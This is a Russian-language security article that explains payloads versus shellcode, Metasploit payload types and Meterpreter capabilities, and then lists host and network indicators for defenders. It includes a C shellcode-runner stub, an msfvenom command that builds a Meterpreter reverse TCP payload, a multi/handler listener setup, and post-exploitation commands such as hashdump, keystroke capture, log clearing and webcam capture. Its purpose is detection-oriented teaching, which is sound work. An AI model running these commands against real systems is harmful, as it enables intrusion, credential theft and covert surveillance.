Payload и shellcode — не синонимы
Термины часто используют взаимозаменяемо, но они описывают разные уровни абстракции. Payload — это полезная нагрузка целиком: логика, которую атакующий хочет выполнить на целевой системе. Shellcode — компактный фрагмент машинного кода, который доставляет и запускает payload в условиях, где обычные механизмы загрузки исполняемых файлов недоступны или нежелательны.
Shellcode является одним из способов доставки payload, но не единственным. Payload может быть полноценным исполняемым файлом, скриптом, DLL или командой для интерпретатора. Shellcode появляется там, где нужен минимальный размер и прямое исполнение в памяти без обращения к файловой системе.
Классификация payload по модели взаимодействия
По способу установления канала управления payload делятся на несколько категорий:
| Тип | Модель соединения | Пример |
|-----|-------------------|--------|
| Reverse shell | Цель инициирует соединение к атакующему |
windows/meterpreter/reverse_tcp || Bind shell | Цель слушает порт, атакующий подключается |
windows/meterpreter/bind_tcp || Download & execute | Цель скачивает и запускает файл по URL |
windows/download_exec || Командный | Выполняет определённую команду |
cmd/unix/reverse_python || Создание учётной записи | Добавляет пользователя на цель |
windows/adduser || Деструктивный | Выключает или перезагружает систему |
windows/shutdown |Reverse shell — наиболее распространённый вариант для Windows, потому что исходящие соединения реже блокируются межсетевыми экранами, чем входящие.
Отдельно стоит упомянуть Metsvc (Meterpreter Service) — механизм, который создаёт постоянный сервис Meterpreter на целевой системе, обеспечивая персистентность без повторной эксплуатации уязвимости.
Shellcode как фрагмент машинного кода
Shellcode представляет собой последовательность байтов машинных инструкций. В учебных примерах его исполняют, приводя указатель на буфер к указателю на функцию:
C:
unsigned char buf[] = "\x00\x00\x00..."; // байты shellcode
int main(int argc, char **argv) {
void (*func)();
func = (void (*)()) buf;
func();
return 0;
}
Массив
buf содержит машинные инструкции. Приведение (void (*)()) buf интерпретирует адрес начала массива как точку входа в функцию. Вызов func() передаёт управление на эти инструкции. В реальных атаках shellcode размещается в памяти процесса различными способами, включая инъекцию в уже запущенные процессы.Генерация shellcode через msfvenom
Фреймворк Metasploit включает утилиту msfvenom, которая генерирует shellcode для заданной платформы и формата вывода. Пример генерации для Windows:
Bash:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f c
Результат — массив байтов в формате C, готовый к вставке в код. Параметр
-f задаёт формат вывода (c, python, raw, exe и другие). LHOST и LPORT указывают адрес и порт, на который shellcode будет устанавливать обратное соединение.Для приёма соединения на стороне атакующего запускается обработчик в msfconsole:
Код:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.10
set LPORT 4444
run
msfvenom поддерживает множество платформ: Windows, Linux, macOS, Android и другие.
Инъекция в память как способ доставки
Отдельная категория — payload, которые исполняются непосредственно в памяти процесса без записи на диск. Это усложняет детектирование антивирусами, работающими через файловые сигнатуры. Для защитника это означает, что сканирование файловой системы не обнаружит вредоносный код — нужен анализ памяти процессов.
Некоторые payload могут быть созданы с расчётом на обход определённых антивирусных решений или их характеристик. Это делает сигнатурный подход недостаточным и требует поведенческого анализа.
Возможности Meterpreter после установления сессии
Meterpreter — один из наиболее функциональных payload в Metasploit. После установления соединения он предоставляет атакующему широкий набор команд. Понимание этих команд помогает защитнику знать, какие артефакты искать.
Сбор информации о системе
sysinfo— получение информации о системе: версия ОС, имя хоста, архитектура
getuid— идентификатор текущего пользователя
getpid— ID текущего процесса
ps— список запущенных процессов
ipconfig— информация о сетевых интерфейсах
route— таблица маршрутизации
Управление файловой системой
ls— просмотр содержимого директории
cd— изменение текущей директории
uploadиdownload— загрузка и скачивание файлов между машиной атакующего и целевой системой
cat— чтение содержимого файла
edit— редактирование файла
rm— удаление файла
Управление процессами
migrate PID— перемещение Meterpreter в другой процесс (PID — идентификатор целевого процесса)
kill— завершение процесса
Управление сетью
portfwd— настройка переадресации портов
netstat— просмотр активных сетевых соединений
Подключение к системе
shell— запуск командной оболочки на целевой системе
execute— запуск команды или программы
Привилегии и учётные данные
getsystem— попытка повысить привилегии до SYSTEM
hashdump— выгрузка хэшей паролей из системы
clearev— очистка журналов событий
Ввод, экран и мультимедиа
screenshot— получение скриншота рабочего стола
keyscan_start— начало перехвата клавиатуры
keyscan_dump— выгрузка собранных данных перехвата
keyscan_stop— остановка перехвата
webcam_list— список доступных камер
webcam_snap— снимок с веб-камеры
record_mic— запись звука с микрофона
Токены и расширения
use incognito— загрузка расширения для управления токенами и выполнения действий от имени других пользователей
list_tokens -u— перечисление доступных токенов пользователей
load <extension_name>— загрузка дополнительных модулей
Какие артефакты наблюдает защитник
Каждый этап жизненного цикла payload оставляет следы. Ниже — что видно на уровне хоста и сети.
Сетевые индикаторы
- Исходящее TCP-соединение на нестандартный порт от процесса, который обычно не обращается к сети. Reverse shell по определению создаёт исходящее соединение с целевой машины на адрес атакующего.
- Переадресация портов (
portfwd) создаёт дополнительные сетевые маршруты через скомпрометированный хост. Это видно по появлению нестандартных правил маршрутизации.
- Активные соединения, видимые через
netstat, — если атакующий использует сетевые команды, это означает, что сетевой стек задействован нестандартным образом.
Поведение процессов
- Миграция в другой процесс. Команда
migrate PIDперемещает сессию в указанный процесс. Для защитника это выглядит как появление подозрительной активности в легитимном процессе, который ранее вёл себя иначе.
- Создание дочерних процессов. Команда
shellзапускает командную оболочку,execute— произвольную программу. Нетипичные родительско-дочерние связи (например, офисное приложение порождает командную оболочку) — классический индикатор.
- Попытка повышения привилегий. Команда
getsystemиспользует различные техники для получения прав SYSTEM.
- Завершение процессов (
kill) — может указывать на попытку устранить конкурирующее ПО или средства защиты.
Файловая система
- Загрузка и выгрузка файлов (
upload,download) создаёт или изменяет файлы на диске.
- Чтение и модификация существующих файлов (
cat,edit,rm).
- Отсутствие файла на диске при наличии активности процесса — признак инъекции в память.
Учётные данные и привилегии
- Выгрузка хэшей паролей (
hashdump) — обращение к системным хранилищам учётных данных.
- Манипуляции с токенами (расширение incognito,
list_tokens -u) — попытка выдать себя за другого пользователя.
- Создание учётных записей (payload
windows/adduser).
Журналы событий и антифорензика
- Очистка журналов (
clearev) — удаление записей из Windows Event Log. Само по себе событие очистки логируется, и его наличие без легитимного обоснования — красный флаг.
Ввод и экран
- Перехват клавиатуры (
keyscan_start,keyscan_dump) — устанавливается механизм перехвата ввода.
- Скриншоты (
screenshot) — захват содержимого экрана.
- Доступ к камере и микрофону (
webcam_snap,record_mic).
Персистентность
- Создание сервиса (Metsvc) — появление нового системного сервиса, обеспечивающего повторное подключение без повторной эксплуатации.
Приоритеты детектирования для защитника
На основе перечисленных артефактов выстраивается многоуровневая модель обнаружения:
- Сетевой уровень. Мониторинг исходящих соединений на нестандартные порты, особенно от процессов, которые не должны инициировать сетевую активность. Анализ появления правил переадресации портов.
- Уровень процессов. Отслеживание миграции кода между процессами, нетипичных цепочек запуска, обращений к памяти других процессов. Поведенческий анализ здесь важнее сигнатурного.
- Уровень памяти. Поскольку payload может исполняться без записи на диск, сканирование файловой системы недостаточно. Необходим анализ памяти процессов на наличие кода, не соответствующего загруженным с диска модулям.
- Уровень привилегий. Контроль попыток повышения привилегий до SYSTEM, манипуляций с токенами пользователей, выгрузки хэшей паролей.
- Журналирование. Защита журналов событий от очистки (пересылка на удалённый сервер в реальном времени), мониторинг самого факта попытки очистки.
Почему сигнатурный подход недостаточен
Shellcode и payload, исполняемые в памяти, не оставляют файла на диске. Сигнатурный антивирус, работающий через сканирование файлов, обнаруживает угрозу только если payload записывается на диск или если сигнатура покрывает сетевой трафик. Кроме того, payload могут быть созданы с расчётом на обход конкретных антивирусных решений.
Это одна из причин, почему современные EDR-решения фокусируются на поведенческом анализе и мониторинге активности процессов, а не только на файловых сигнатурах Как понять, что Windows заражена стилером: признаки, проверка и безопасный план восстановления.
Итоговая проверка для защитника
- Исходящие соединения от нетипичных процессов на нестандартные порты
- Миграция исполнения между процессами без легитимного обоснования
- Обращения к системным хранилищам учётных данных
- Попытки очистки журналов событий
- Нетипичные родительско-дочерние цепочки процессов
- Активность процесса при отсутствии соответствующего файла на диске
- Создание новых учётных записей или манипуляции с токенами
- Появление новых системных сервисов без обоснования
- Перехват ввода, захват экрана, доступ к мультимедийным устройствам
Каждый из этих индикаторов по отдельности может иметь легитимное объяснение. Совпадение нескольких в коротком временном окне — основание для расследования.
